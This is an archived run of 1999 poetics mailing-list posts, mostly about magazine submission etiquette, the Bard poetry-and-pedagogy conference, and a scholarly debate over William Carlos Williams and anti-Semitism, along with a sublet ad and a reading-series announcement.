This area is becoming more of an interest for me recently and I have been trying to track down some texts or recordings which may be informative. Do you have any suggestions?

Jim

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125. **rebecca wolff**
Re: soapbox of submission
Mon 12 Jul 1999

Hello. It seems that often comments made in this venue are all too quickly divorced from their pragmatic source, ie:

Some guy (I think guy) asked what should be in a cover letter. The question is one that implies a degree of ignorance of the appropriate contents of a cover letter, and a desire to know more.

Being an editor of a magazine who is often asked that very question, presumably with quite direct results attached to my response, Iresponded pragmatically, in such a way that might attempt to guide the querent toward

what I consider, in my editorial high-chair, to be the favored method of writing a cover letter. This is because, being an editor, I am an opinionated so-and-so. If someone asked you, a restaurant critic, say, how you liked your portobello mushroom, you'd probably waste no time in attempting to describe the degree of tenderness required for your pleasure.

Fence does not allow --or at least inasmuch as is possible--annoying cover letters to color our response to the actual poems submitted. But that doesn't mean we don't find them annoying and wish they could be amended. Amendment is the editor's dream. We wish to amend the whole wide world.

A different question is: "Why do editors get so testy about submissions submitted in ways they do not admire?"

I would submit that this testiness is a hazard of the job, ie, we are unpaid laborers and cannot help but feel cranky and/or testy.

Please send portobello mushrooms with your submissions

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126. Ana Doina
Re: SUBMISSION IMPOSSIBLE
Mon 12 Jul 1999

---

hello poetics,

my name is Ana Doina, I've been on and off this
list for quiet some time and enjoyed the flow mostly
on a lurker's mode, but because I've been submitting
lately I feel I should get into the conversation

about multiple - I agree that once a poem is being
published by a mag that asks for previously un-published
material the poem should be withdrawn from all other mags
that might want to publish it, if they suggest so. But...
consider this: poems are sent in January to mag X who does not
uses the SASE provided to accept or refuse the poem, although
they give as response time 4-6 weeks (and unfortunately not
many mags do give any time-frame)
Meanwhile around June, tired of waiting and depressed, considering
the silence as a rejection, the poet sends the same poems to mag Y
and gets a positive response for a future publication.
Then, by the following January a letter and two mags come
in the mailbox, the letter form mag X accepting the poems,
Mag X with the poem, and mag Y with the same poem.
uhh.... was that to be considered a simultaneous submission?

More times than I care to count I have sent submissions with sase, with or without cover letter, as close to the guidelines as I could or understood them, and didn't ever (for some this means years) receive an answer. I don't want my writings to be kept captive, I need them to circulate. How else am I going to let anyone know that I exist, let alone write? Unfortunately some mags find themselves in the position to publish a poem simultaneously with an other mag because the latter did not follow through its own rules, but I fail to see how that is the fault of the writer.

best,
Ana D

> *"Lowther,John" wrote:*
>
> *this is a curious thread*
> *someone wanted advice about what to say on a cover letter*
> *editors chimed in with their feelings about*
> *getting how-ever-many seemingly-clueless submissions*
>
> *i find the whole*
> *"no simultaneous submissions" mambo*
> *rather confusing myself*
> *i edit a magazine and i don't care about that*
> *but i know there are those out there who do*
>
> *why?*
>
> *I don't like it because we once had chosen a piece, notified the author of our intentions, and just as we were putting the issue together, someone--who luckily knew what we were planning to publish--saw the exact piece in another journal. without having been told by the author (though I hope we would have been when we came to sending out the formal contract) we wasted some time, and very nearly would have wasted a certain amount of money on production. our guidelines are clear that we don't accept simultaneous submissions, and this person was rather well published so I found it quite insensitive that he had done that. I return mss. immediately when I read that it is a simultaneous submission: I feel there is no sense spending the time to read it if you are from the start possibly competing with another publication to secure the rights. Usually, its no loss anyways.*
>
> *As for what comes in a cover or with a cover letter, I don't pay much attention to and its not too painful to recycle the superfluous paper. My big peeve is that the majority of U.S. submissions come with U.S. stamps on the SASE. Unfortunately, the Canadian post office does not recognize those stamps as*

> *they have not received any $$ from the purchase of such stamps. I sincerely doubt any Canadian journals return mss. with American postage. I have learned that many postal services in the States don't even know what an International Reply Coupon is, so it is difficult to include them for return of one's work but we are quite happy to receive coins taped to the envelopes or dollar bills hidden inside.*
>
> *So that's my two cents, though it may not go far on that side of the border. :)*
>
> *--*
> *Carol L. Hamshaw*
> *Managing Editor*
> *The Capilano Review*
> *http://www.capcollege.bc.ca/dept/TCR*

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127. Daniel Kane
two month sublet in NYC's Lower East Side
Mon 12 Jul 1999

A large room in a large two bedroom apartment is available beginning in August. It's $1000 per month, adjacent to the lovely El Sol Brillaba community garden on East 12th Street between Avenue A and B.

If you're a cigarette smoker, you're in luck -- smoke o.k., cat o.k. You'll be sharing apt. (NOT your own big bedroom) with a young British woman named Jane.

While the sublet is officially over on Sep. 31, there's a chance that the sublet could be extended a month or two.

If interested, call Rachel Turner at [redacted], or e-mail at [redacted].

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128. Dan Waber
Re: SUBMISSION IMPOSSIBLE
Mon 12 Jul 1999

<rant>

On the recent flurry of posts regarding submission guidelines/steamblowing/reactions:

I am reminded of my days as a chef, when on the kitchen side of the doors we would mumble, "This job would be great if it wasn't for all the customers".

I also remember my great Uncle Peck telling me stories of growing up in Montana where for fun they would take two cats, tie one end of a rope to each tail, then hang the cats by the middle of the rope over a branch to watch the fight than ensued.

As is often the case, there is a thesis and an antithesis, and I suspect the truth may lie somewhere inbetween.

Having more submitters than subscribers is absurd.

Expecting every submission to come it "just so" is equally absurd.

It all comes down to what is reasonable.

Is it reasonable for a Canadian publisher to expect an American SASE to have IRC's? Yes. Is it reasonable for a publisher who accepts electronic submissions to stipulate ASCII plaintext included in the body of the email? Yes. Is it reasonable for a publisher who's mission statement reads something like, "We endeavor to publish the unorthdox, the uncategorizable, the kinds of work that no mainstream publisher would touch", to have submission guidelines like, "Query with sample chapters and a plot synopsis"? No. Is it reasonable for a submitter to expect editorial feedback along with a rejection? No. Is it reasonable for a publisher to have submission guidelines? Yes. Is it reasonable for a publisher to expect submitters to have familiarized themselves with those guidelines? Yes. Is it reasonable to expect a publisher to publish something because the submitter has followed the guidelines precisely? No. Is it reasonable to reject a piece of work soley because it did not conform to the submission guidelines? No.

You get the gist.

I wish more submitters would spend more time targeting their submissions. It would make turn around times that much faster for those of us who do. Will it happen? No, of course not. There will always be knuckleheads and/or chuckleheads out there who go the Kilgore Trout route, scribble and send and come what may.

Note to publishers--Waber's Maxim #1: If there is something that you can't change, find a way to make it work to your advantage. With all the rejection letters I have received (please, God, let someone backchannel me that it doesn't make a bad human being to have received rejection letters), I have never onced received--with the rejection letter--a subscription form, or a book list. Granted, I could and should get these things on my own, but, the fact of the matter is that by the very act of submitting I have identified myself as an excellent prospect for subscription or purchasing. By being rejected with no specific explanation, I am probably even more inclined to want to read the kinds of things that get accepted. That makes me targeted and motivated, and folks, it

just don't get any better than that. I'm not saying that every rejection is a certain customer, but, I do think it's a huge missed opportunity for immediate sales. Barring that, how about the mailing list? Constant communication with a highly targeted mailing list is crucial for any small business. How much more highly targeted can the list generated from submissions be? Have I ever been added to a mailing list as a result of a submission? Nope.

Note to submitters--Publishers do not have something that they are trying to jam down your throats. They have something you want, and it's your job to get it from them. If that means taking some time to find out how they like to see things presented, then I say that's time well spent. With all the impersonalization that comes from form letters and submission guidelines, it's easy to forget that in the end you are sending a letter from one living breathing sometimes happy sometimes stressed person to another living breathing sometimes happy sometimes stressed person.

</rant>

Dan

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129. Linda Russo
Re: bard conf
Mon 12 Jul 1999

Hi Bill & all:

wanted to clarify if that's possible, and to add some thoughts about the Bard
symposium. To witness that fact that, though it's been clarified, Bill wasn't
taking a pot shot at Perelman. Bill responded
> i thought i was explaining his talk a bit, how those quotes are something to
> be wary of if you're a teacher, not really a conference problem according to
> him, but a classroom one.
My take: Perelman was presenting a disturbingly amusing list of the sorts of things
teachers might say to make "difficult texts" more digestable (or at least palatable
-- which concern did arise, it should be noted, as a focus of the symposium).
This in a way to warn against *oversimplifying* which further obscures

texts, or
anyway simply inserts a made-for-t.v. frame around them, cliffnotifies them.

One question I had wanted to ask Bob but didn't get a chance to: was he also saying
that the lit crit industry has too much influence over how we talk about poems (in
classrooms) and if so, what can we (as poets and teachers) do about it? It strikes me
that such critical soundbites are the babies of New Criticism -- though they reach
"outside" the poem (centripodal-petal?) they reach only to a limited number of
"approved" discourses to align the poem with those discourses rather than to "elucidate"
poems.

But while I address this question I have to grapple with the lexicon that the situation
assumes: that of making "difficult" texts "easier" as a way of making them "teachable,"
a notion which sees the classroom as a way to disseminate other poetics and poetries --
however to what "end" is unclear. It was decided, half dryly, that we were talking at the
symposium about "the New Poetries." I wryly added that what was needed was a teaching
anthology _Understanding New Poetries_ -- but this did seem in part what was wanted, a
new cannon complete with its own secondary sources -- that is, that the sorts of collaborative
investigation we were having *could* strive toward curricular ends. This is exactly what
Lynn Keller's paper did (Bill's dialogue with Lynn afterwards would seem to corroborate
this), and I agree tangentially with Bill's assertion that another binary (centripetal-podal/
centrifugal) "isn't interesting," i.e. that is ultimately limited as a critical tool (see Bill's recent
essay on gender in the current _Shark_ for iteresting critical vectors) but it seems useful as a
pedagogical tool, i.e. that teaching such oppositional models gives students something to think

about/against. I'm not all that experienced as a teacher, but when as a student of Modernism
especially it helped me significantly. I taught a creative writing class looking at models of
production starting with Aristotle, and along a continuum (or in a larger set of ideas) such
binary models break down, and things that looked opposed start to resemble eachother.
The x/y model stands in for a moment and frames the situation as a way to make it for that
moment clear (I'm reminded again that Bill's gender essay had x's and y's in it, all pointing
this way and that). But as Bill said, it was one of the few pedagogical moments, and I'm
thankful Lynn took the opportunity to open up her model to response and criticism.

Also wanted to add that I did attend the working groups most enthusiastically, in part
because other enthusiastic members stuck it out, and our leader Thalia (? - sorry, blanking)
was super and enthusiastic, and provided exercises/ideas/hands on for dealing with
"difficult" texts without roping them into a simplistic schema. For example, with Retallack's
Icarus Fffffalling, we in groups of 4-5, decided how we would preform a page, which
turned out to be a multivocal reading of the page, and we found that there were many
different ways to read the page, both spinning out and spinning in . . .

It was an intense weekend. 3 square meals a day (excellent food, plenty of vegetarian
fare, bottles of wine at the dinner table, dessert at lunch even) + snacks and a beer& wine
reception after the evening event (+chocolate covered strawberries!). And these were all
very social. One got the sense that the organizers wanted to get people next to eachother
constantly, in different configurations, with food and/or wine (if after 5 pm), to continue the
collaborative investigation. One had to make space to sneak into the woods or to the waterfall,

or to check out all the amazing buildings on the grounds, or to gaze out over the Hudson River
Valley at some point, and with not much sleep (there was so much wine at the receptions that I
think we were meant to spirit away a few bottles and continue after hours), this did lead to burn
out & by sunday afternoon we'd fizzled to about 50 or so, down from about 120 or so (?).

As with Bill, I'd say all the readings were super. I don't know what it was, but everyone was super.
Maybe I was feeling well-fed, well-liked and generous, and so let go some of my critical edge.
But I really do think it was super, that Joan et al. assembled a super bunch of people (all well-fed,
well-liked and generous) -- and gave them enough time, and comfortable spaces, and food,
and wine, and a beautiful setting . . .

We were pampered. And so Juliana's response ("I want to put a word in for placelessness . . .")
to Al Filreis & the Kelly Writer's House presenters (which was itself, earlier fashioned as a
response to Bill's question to Bob Perelman (as I recall, how do we make poetic events possible?
How do we get people together for poetry?) -- hit home. Why can't we have a waterfall at Buffalo
where we can all sneak off to at 6 a.m. and go skinnydipping (right before the flyfishermen show up)?
I'd like to hear more about where Juliana was going with that, with the notions of textual spaces vs.
actual spaces. I think she was trying to de-heirachize, to say that it's not necessarily "better" to have
the space (the endowment to establish the space, which i think was something like $40,000), but best
to make the spaces possible, whichever way. That our models of poetic production shouldn't so
closely resemble/rely on capitalistic models of production (more place, more voice! more materials,
more production!). (All this as my heart goes out to the groundhog who finds himself lost on the
concrete slab of a plaza outside the library where I'm typing this. A

little girl wants to feed him
cheetos.) I'm all ears.

thanks & best,
Linda

* * * *

Linda Russo
[redacted]

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130. **Mark Weiss**
Re: questo e un lavora per Superman
Mon 12 Jul 1999

On another list I have mentioned that a cheap shredder is an essential tool for publishers--not for manuscripts (except those that come without SASE), but for front matter. Turns all that paper into cheap packing material. I find all the self-hyping annoying, but it doesn't get between me and the poems. Except for the occasional "so-and-so recommended I send you this" when so-and-so is a poet I have published or simply admire, which can be useful.

As to a larger annoyance, ianppropriate submissions, there seems to be no way to lay out one's prefernces so clearly as to avoid them. Let me be clear what I mean. I think all of us have tastes that are individual enough that very little of the unsolicited will be right for us. But a lot is on another planet--the church ladies writing in rhymed couplets who think that they fall into the category of unconventional because their take on god would raise Calvin's hackles, the high school poets, the folks writing lineated prose memoirs. But none of that concerns this group.

At 02:40 PM 7/11/99 -0400, you wrote:
>re Unsolicited Mss Letters, actually. the retro action of the editors
>strikes me as too hearty. because admit it, the rules are fluid and let us
>even say arbitrary. I see no reason to kvetch (that's how it sounded in
>Massachusetts) as to how writers, you know, *submit*. editing a poem mag is
>a job, maybe not remunerative but you weren't expecting that anyway. I
>shouldn't say this but I've given money (small amounts, when I was a Have)
>to a few mags and even a press, beyond the books I bought. it wasn't because
>I thought the editors were hassled by what looks to me like normal
>work-related petty hassles. I just thought these little, micro publishing
>ventures, these pushes against the wall, needed support. I know publishing
>aint easy, especially on PoBiz budgets, but eds and pubs have the control.
>that a poet submitting might be a little or a lot disconnected could be
>taken into account. I was about to sound an advisory note (use the force

>wisely Luke) but screw it, I'm probably pissing people off concerning this
>apparently important issue. I second David Golumbia's words: "to let the
>lack of such (or even subtle mis-steps) get in the way of reading submitted
>work is disturbing too...". I didn't check my horoscope to see if I should
>be making public statements today, so maybe I'm out of line here. if so:
>sorry. Allen Bramhall
>
>

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131. **Mark Weiss**

Re: memories of anti-semitism

Mon 12 Jul 1999

Those lovely white chickens come home to roost. Unfortunately if one is in a minority in this country (could be worse--it's not Bosnia) one grits one's teeth a lot. There's still a lot of unthinking antisemitism around--there are even a few restricted communities left. He did get pretty smart about the bomb, at least, in Asphodel.

At 08:28 PM 7/11/99 -0500, you wrote:
>
>My memory on the WCW quote re: Hiroshima was way off. Here it
>is, from an article in the Village Voice by Eliot Weinberger:
>
> Speaking of Hiroshima, here is one of the masters, William
> Carlos Williams, in a letter to another poet, Byron
> Vazakas, dated August 7, 1945: "The day following
> the atomic blast! -- the poor Jews who accomplished
> it. Now we'll hate them worse than ever."
>
>Ah, those lovely white chickens...
>
>Kent
>
>

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132. **peter neufeld**
Re: unsolicited mss letters
Mon 12 Jul 1999

I'm going to have to throw my vote against any standard. I personally take a great deal of pleasure in reading the variety of cover letters we receive and I think people should feel free to include any information about themselves they deem relevant as an introduction to someone they may have never met. In the end, they have very little significance and are just that, an introduction, a postal how-do-you-do. I think there's a correlation between the length of the cover letter and whether or not the writer knows one of the editors personally or not--and that's perhaps the real issue to consider in how journal publications seem to operate. My favorite letters, however, are the ones we've received after rejecting writers that inform us of the incredible errors in judgment we've made. It was a new sub-genre of the letter I never knew existed before. Peter melodeon poetry systems/Aufgabe

--- rebecca wolff <[redacted]> wrote:
> Yes,
>
> at Fence we get about 30 unsolicited mss a week.
>
> I think it's relevant to note that if we had as
> many subscribers as we
> have submitters--or even half as many--we'd be
> golden. We'd be in heaven. I
> do believe that the discrepancy between the two
> constituencies (subscribers
> and submitters) causes many editors to throw up
> their hands in chagrin at
> times.
>
> The best cover letter is:
>
> brief, as in, two very short paragraphs. One
> paragraph says where you
> saw/read/purchased whichever lovely journal is in
> question and what there
> is about the journal that made you want to be
> included in its pages (stroke
> the editors and show them that you've really
> considered the journal); the
> next gives a short list of other publications and/or

> honors.
>
> No point mentioning:
>
> where you went to school, who you studied with, your
> own opinion of your
> work and what your work is
> attempting/approaching/essaying.
>
> I second the caution against including a vita or a
> pre-printed list of the
> journals your work has appeared in. It just goes
> straight into the
> recycling bin.
>
> Thanks for giving me this opportunity.
>

Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com

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133. Jamie Perez
random.Q.re/Defoe [resend]
Mon 12 Jul 1999

[resend: my address book was messed up and sending my mail to the listserv itself...sorry to administrators, don't know how long I've been doing that]

Anybody know of anything worth reading written about _Defoe_ (Scalapino, 97?). I read it back then and have dabbled in reading sections of it here and there ever since. Would be interested in what others have had to say about it.

My random thought about it: I think Ah-Ha's video "Take on Me," is an important text for reading this book. Somewhat tongue in cheek, somewhat serious. I suppose that's a rather pro-active reading though...

A romp through the Poetics Archive gives a little fun reading on the subject, but not enough.

jamie.p

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134. Michael Magee
Re: unsolicited mss letters
Mon 12 Jul 1999

I agree with what's below - I like the cover letters. Besides, isn't this sense of "I judge based only on what's on the page" a little retrograde? Of course, with COMBO I've avoided alot of this hoo-ha by deciding that our unsolicited contributors will come only from the ranks of those familiar with the mag (which I give away for free if necessary to avoid any sense of exclusion). But in the end, is any of this really such a big deal? I also like contributors notes - if you like a poem you read, it's nice to at least be able to flip and find out what city that poet lives in or some other places they've published, whether they have a book, etc. And may it goes a little way toward making sure we don't fetishize these things called poems, eh? -m.

According to peter neufeld:
> > I'm going to have to throw my vote against any standard. I personally
> take a great deal of pleasure in reading the variety of cover letters
> we receive and I think people should feel free to include any
> information about themselves they deem relevant as an introduction to
> someone they may have never met. In the end, they have very little
> significance and are just that, an introduction, a postal
> how-do-you-do. I think there's a correlation between the length of the
> cover letter and whether or not the writer knows one of the editors
> personally or not--and that's perhaps the real issue to consider in how
> journal publications seem to operate. My favorite letters, however, are
> the ones we've received after rejecting writers that inform us of the
> incredible errors in judgment we've made. It was a new sub-genre of the
> letter I never knew existed before. Peter melodeon poetry
> systems/Aufgabe
>
> --- rebecca wolff <[redacted]> wrote:

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135. Patrick F. Durgin
Re: soapbox of submission
Mon 12 Jul 1999

Yeah, why do it at all if the whole wide world weren't at stake? I hear you there. Anecdote upon anecdote: I was receiving submissions without a cover letter, and sometimes without a letter or an SASE. My first thought was, what am I expected to do with these poems? No SASE, I immediately threw them out. No cover letter, I sent them back unread, no letter of explanation.

Kenning doesn't print contributors notes, thus I really haven't a use for publication / bio in a letter, EXCEPT insofar as these things merge with whatever sort of request a submiter (or "contributor") is making. After all, it is always, even in the case of solicited material, a request of someone's time and attention to submit work. I think it is key to include a cover letter of some sort, at least indicating that the work is coming with the intention of entering into conversation with the editor and her/his publication/press. Thus, it is a bit ridiculous to send to a publication/press with which one is unfamiliar. If it were only a matter of making the work available, the most direct and often most efficacious way to do this is to publish it yourself. With Kenning, the editorial focus (which is made as explicit as possible by means of occassional "editor's note"s) presupposes that I read unsolicited mss as well as solicited mss with an equal emphasis. They would all wind up in the same place.
Another key way to enter into conversation with editors / publications is to purchase and read them. Patrick F. Durgin

At 10:21 AM 7/12/99 -0500, rebecca wolff wrote:
>Hello. It seems that often comments made in this venue are all too quickly
>divorced from their pragmatic source, ie:
>
>Some guy (I think guy) asked what should be in a cover letter. The question
>is one that implies a degree of ignorance of the appropriate contents of a
>cover letter, and a desire to know more.
>
>Being an editor of a magazine who is often asked that very question,
>presumably with quite direct results attached to my response, Iresponded
>pragmatically, in such a way that might attempt to guide the querent toward
>what I consider, in my editorial high-chair, to be the favored method of
>writing a cover letter. This is because, being an editor, I am an
>opinionated so-and-so. If someone asked you, a restaurant critic, say, how
>you liked your portobello mushroom, you'd probably waste no time in
>attempting to describe the degree of tenderness required for your pleasure.
>
> Fence does not allow --or at least inasmuch as is possible--annoying cover
>letters to color our response to the actual poems submitted. But that
>doesn't mean we don't find them annoying and wish they could be amended.
>Amendment is the editor's dream. We wish to amend the whole wide world.
>
>A different question is: "Why do editors get so testy about submissions
>submitted in ways they do not admire?"
>
>I would submit that this testiness is a hazard of the job, ie, we are

>unpaid laborers and cannot help but feel cranky and/or testy.
>
>Please send portobello mushrooms with your submissions
>
>

_____
k e n n i n g
a newsletter of contemporary poetry
_____
http://www.avalon.net/~kenning
_____
418 Brown St. #10, Iowa City, IA 52245, USA

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136. **A H Bramhall**
le livre est sur al table
Mon 12 Jul 1999

---

looks like the horse has only been knocked senseless, so may I proffer the image of Ted Berrigan, for example, confronted by cover letters. my surmise: he would not take a narrow view of those words, and would read them for whatever ore he was inspired to find. okay, maybe you're not looking for bauxite today, but maybe someday... at any rate, there are people (I assume) at both ends of the submissions, and it's poetry in the middle, right? one morning after a heavy snowfall I rose early, shovelled at the home base, ran 10 miles to work (part of my idiom then), helped the building manager shovel out because it was a big job, and when my co-workers arrived they complained about the difficult drive to work. what do you know, I found satisfaction in my circumstance and they found none in theirs. I don't wear editor shoes but if I did I'm guessing I would learn to love even those cover letters, or I'd join the foreign legion. either way, I would continue to find poetry interesting and to find interesting poetry. AHB

ps, all honour to those producing mags and books, by the way

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137. **Michael Boughn**
Re: Kent Johnson, WCW, anti-semitism
Mon 12 Jul 1999

Re: the complexity, also recall, in Spring and All, XXVI: "The Jew gets it straight--it / is deadly, terrifying-- // It is the Inquisition, the / Revolution". The white chickens are at XXI.

Mike

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138. KENT JOHNSON
Williams's tomb sweepers
Mon 12 Jul 1999

Michael Magee wrote:

> *"Despite accusations to the contrary, Williams was no anti-Semite. He worked all his life closely with Jewish writers, from Kreyborg and Bodenheim and Mina Loy to Zukofsky and West and Moss and Kamin and Sol Funaroff and later with Shapiro and Ignatow and Sidney Salt and Ginsberg and Levertov and any number of others. He was, unquestionably, a product of his times and he did use the old comic-strip vulgarisms, allowing such words as kike, nigger, wop, jap, frog, Polack and the rest of it to infiltrate his speech and his letters. Nor did he always escape the poular racial myths of his time."*

Michael:

More later, but for now just to point out that this quote from Mariani is rather pathetic as a "defense." Pound had strong relationships with Jewish writers too. One can be subject to "the popular racial myths of his time" and still have lots of chummy relationships with the subaltern other! (Remember Yugoslavia?)

And as for those "comic-strip vulgarisms" (the Jewish kids in Brooklyn ate those comics right up, didn't they?) that suffuse WCW's letters, does Mariani imply that _everyone_ was using them? Of course WCW was a "product of his time" as are we all, and of course he's a "complex" figure. But choices can still be made, and one is not condemned (especially one whose self-proclaimed task is to cleanse the language!) to topple headlong into the most hateful vocabulary. Mariani's little quote is quite simply apologetic slop of the hero-worshipping kind.

And as for your reading of the "irony" in Williams's remark about the Jews and the Bomb, I doubt it. "Kike" pops up like dandelions in May in his letters and little irony is apparent. Be careful here. It's one thing to misread comments about ready-made classroom phrases that Language poets use; this is something of a more serious kind.

Kent

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139. **Lowther,John**
Re: SUBMISSION IMPOSSIBLE
Mon 12 Jul 1999

---

i'd asked why editors cared about simultaneous submissions

Carol Hamshaw wrote back saying (i'm parsing with emphasis);

> just as we were putting the issue together, someone (...) saw the exact
> piece in another journal. without having been told by the author (though I
> hope we would have been when we came to sending out the formal contract)
> we wasted some time, and very nearly would have wasted a certain amount of
> money on production. (...) [if] it is a simultaneous submission: I feel
> there is no sense spending the time to read it if you are from the start
> possibly **competing with another publication to secure the rights.**
>
thanx carol, for all the detail and such - but i still find that i'm not
very clear about some things in this - i take it that the capilano review
"secures 1st time rights" or something like that ? you don't have permanent
rights to it do you ?

what strikes me as very strange, relative to how i think about it, is that i can't
imagine *why* i wd care that something i'd published or was going to publish
had appeared in some other locale or was to do so... - but then to learn that at
least part of the problem is also that some editors (i'm extrapolating from you
carol) feel that magazines are competing, presumable ~to win~ something, ie,
"the rights"

i wonder how many publishers of mags (on this list fer instance) feel this way ?
or more specifically - how many after publishing, have "the rights" ? and is it
seen as some sort of investment ? - i'm imagining that the hope runs something
like this "when X is as famous as john ashbery, and they wanna do a _selected_
i'll get my payback then for this not too profitable publishing"

somewhere i'd heard about all this stuff but i had the impression that it only
held true for things like parnassus or the paris review - i guess everybody's just
doing what they feel the need for - but for all you editors out there i'd like to
note : i'm not competing with you and i don't feel, nor can i see how yr
competing with me

(ok, except maybe the paris review, whose ass i'm gonna wup next time i see it)

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140. R Democracy
HELP WITH OUTREACH
Mon 12 Jul 1999

Hi,

I'm starting a monthly series at the new women's bookstore: BLUESTOCKINGS in New York City and was wondering to which venues I can send out email releases of basic calendar info.

and fyi, our first reading is as follows

Poetry Reading:
Akilah Oliver (the she said dialogues, Smokehouse Press, 1999) and
Marcella Durand (City of Ports, Situations, 1999)
will inaugurate the BELLADONNA* Reading Series
at the Bluestockings Women's Bookstore
172 Allen Street, between Rivington and Stanton
on the Lower East Side of Manhattan
Thursday, August 26 at 9:00 pm.
Contact [redacted] for info.
Also: There will be 15 minutes provided for open readers.

thanks,
Rachel DL

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141. Chris Stroffolino
WCW, anti-semitism....
Mon 12 Jul 1999

That particular quote of WCW's to Vazakas (a gay Reading-ite) does not, to me, seem particularly anti-semitic. He's pointing out a social irony--the germans kicked out the jews that invented the bomb that destroyed their allies. Even for a "non-public" statement, with all its attendant "freedom of expression" including flippancy, there is evident some feeling for the jewish there.... On another point, is WCW's Puerto-Rican-ism. That he was himself trying to "pass". It's weird how little (in an age of identity politics) his puerto-rican element to the "american grain" is mentioned, though I hear SUNY-BUFFALO just accepted someone to its Ph.D. program who will deal with that issue in dissertation fashion....

chris

On Mon, 12 Jul 1999, Michael Magee wrote:

> *Kent's recent stipulation that "WCW was anti-semitic in a rather robust way, no less than Ezra and T.S." is a real distortion - one loses all sense of particulars when one implies that Williams, Pound and Eliot are alike on this regard - and the inability to draw distinctions is a cousin to the inability to act. I would suggest reading Williams's very complex story "A Face of Stone." What Paul Mariani points out in his biography of Williams seems basically true:*
>
> *"Despite accusations to the contrary, Williams was no anti-Semite. He worked all his life closely with Jewish writers, from Kreyborg and Bodenheim and Mina Loy to Zukofsky and West and Moss and Kamin and Sol Funaroff and later with Shapiro and Ignatow and Sidney Salt and Ginsberg and Levertov and any number of others. He was, unquestionably, a product of his times and he did use the old comic-strip vulgarisms, allowing such words as kike, nigger, wop, jap, frog, Polack and the rest of it to infiltrate his speech and his letters. Nor did he always escape the poular racial myths of his time."*
>
> *As someone currently writing about WCW's relationship to African-American culture, I'm senstive to the vexed nature of his approach to race - trust me. But to simply call him anti-semitic or racist is to in fact say nothing at all. Among other things, one ends up missing the crucial fact of how the speech of ethnic minorities mediated Williams poetry: as in his famous characterization of his poetry as coming "out of the mouths of Polish mothers." Just who were these Polish mothers, do you think? I'd suggest that, like the Polish woman in "A Face of Stone," they were Jews.*
>
> *Likewise, the quote by Williams on Hiroshima which Kent had misremembered, "The day following the atomic blast! -- the poor Jews who accomplished it. Now we'll hate them worse than ever," seems to me bitterly ironic, fairly complex and, in any event, worth more than a rubber stamped condemnation.*
>
> *-m.*

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142. **Chris Stroffolino**

COPE'S OPPEN---

Mon 12 Jul 1999

Congrats on Stephen Cope for his work on Oppen recently published in THE GERM. It is a quite interesting piece. I don't agree with ALL of it, but it is fascinating and worth reading (especially for those of us who've never been especially great fans of his poetry)..... c

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143. Steven Shoemaker
Re: Kent Johnson, WCW, anti-semitism
Mon 12 Jul 1999

Very glad to see Michael Magee's eloquent post on this subject. I was about to write something along similar lines myelf, but probably wouldn't have done as well. To class Williams alongside Pound as an anti-semite seems to me ridiculous, and totally unsupported by the facts, at least as I've come across them in my reading of, and about, Williams. I would also second Michael's reading of the Williams Hiroshima quote: it seems to me to be *about* anti-Semitism, not an expression of it. And just to add to the record a bit, it's worth remembering a couple of things. One is that Williams was, at least at times, inclined to *identify* himself as Jewish, much to his family's consternation. Another is that he got pissed as hell at Pound over the latter's growing fascism and anti-Semitism during the thirties, and said so. I'm not trying to say he was perfect--he certainly wasn't. But his situation was a lot more complex, and interesting, than Kent Johnson's comments on the subject would suggest.

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144. Todd Baron /*/ ReMap Readers
Re: Anti- Poetry
Tue 13 Jul 1999

---

as a post to the post-conversation. (And as a Jew, so no apologies from this end)
What is the "best" piece of writing you all believe is Anti Semitic?

novels?
poetry?
Plays?

i.e. Cantos
Williams, per
this conversation.

Wondering what the "list" thinks. (Black-List?)

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145. Louis Cabri
Re: bard conf
Tue 13 Jul 1999

Alert: Wonky post...

The Bard conference on poetry and pedagogy interestingly suggested to me, afterwards, the question of differing pedagogical styles of the various institutions in which poets, theoreticians and scholars have trained, and are training, as teachers.

I think a "bar" is an institution if it supports a poetry scene. That is I mean to question at the outset whether an institution has to be by definition an academic one. Rob Manery and I operated a "landless" poetry institution in Ottawa for a number of years, to which we found, for our events, monies and spaces as and where we could.

At the conference nobody mentioned their favorite poetry bar institution, or actually spoke of the institution as a concept, except near the end, when Al Filreis initiated a discussion of his own pedagogy, a discussion directly dependent on the specific situation at/of Univ. of Penn, and Kelly Writers House, which he was "open" about, as to funding etc, in a way that no other institutional rep was. Harryette Mullen directly addressed teaching issues at UCLA; unfortunately, she had to leave the conference early.

Academic institutions were for the most part represented implicitly at the conference. Their representation was by no means an agenda of the conference. The explicit agenda in this regard was, it seemed to me, to represent some poets as autonomous published individuals, ready for special hire to spread the word in existing institutional structures. (I don't mean to suggest that this was the agenda of the conference as a whole, but only with respect to this issue I am presenting, after-the-conference -- the issue of the institution.)

Here I just want to barely even hint at a few things - after my experiences at the conference - from the vantage-point, and the question, of institutional affiliation. (Perhaps the word "institution" is a-buzz in my head because of a discussion on a listserve the other month, in conjunction with a panel at Writes House on the same subject -- with Shawn Walker, Josh Schuster, Al Filreis. Perhaps not.)

Wonky post cont'd in next email...

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146. **Louis Cabri**

Re: bard conf - pt two

Tue 13 Jul 1999

Wonky post con't:

Since institutions were for the most part represented implicitly at the conference, mentioning four of them here, as I want so-briefly to do (and not more or less of them) is very much the result of friendships I have with some of

the presenters, whose personal particulars I know, etc. I hope that's ok. That is the subjective side to choosing the institutions I do. But, there is an objective side as well -- which is that few participants actually located themselves institutionally when they addressed the conference topic of how to teach poetry. Michael Davidson and Page Du Bois, for instance, gave papers that for some participants became the conference highlights (e.g., Maz881 mentions Michael Davidson's paper), but their felt presence at the conference bore no relation to UCSD as place or program, where they both teach. (On top of that, Maz881, who not a presenter, was a student of Davidson's at UCSD. I think Du Bois was introduced as teaching in a classics department, which helped to redundify, ie explain, the emphases in her paper on Classics - but, "the classics" is a scholarly category, not an institutional one per se, except in a metaphorical sense.)

Institutions I personally felt were more or less explicitly represented at the conference were Bard College itself, Poetics Program of the State University of New York at Buffalo, Teachers & Writers, and UPenn. In terms of dollars invested in poetics programming, I'd speculatively say that Buffalo has made by far the greatest poetics investment -- ie in student literary production, which has saturated the various scenes, with all sorts of materials, for quite some time -- of them all.

I'm just suggesting that pedagogy is a collective style or practice, and can equally refer to the social dynamics of a poetry scene, as it can to an English department, or "alternative creative space" funded by the hipster beebop junkie on 79th St. -- or ad exec. The spirit of street alcohol, or the spirit of a sour resentiment fahrting from the ministry of an interior departmental bowel movement, inflamed allover by regret, envy and nascent intellectual dementia, compounded furthermore by brain shrinkage and the perverse taking to the wearing of bow ties, do have pedagogical outcomes.

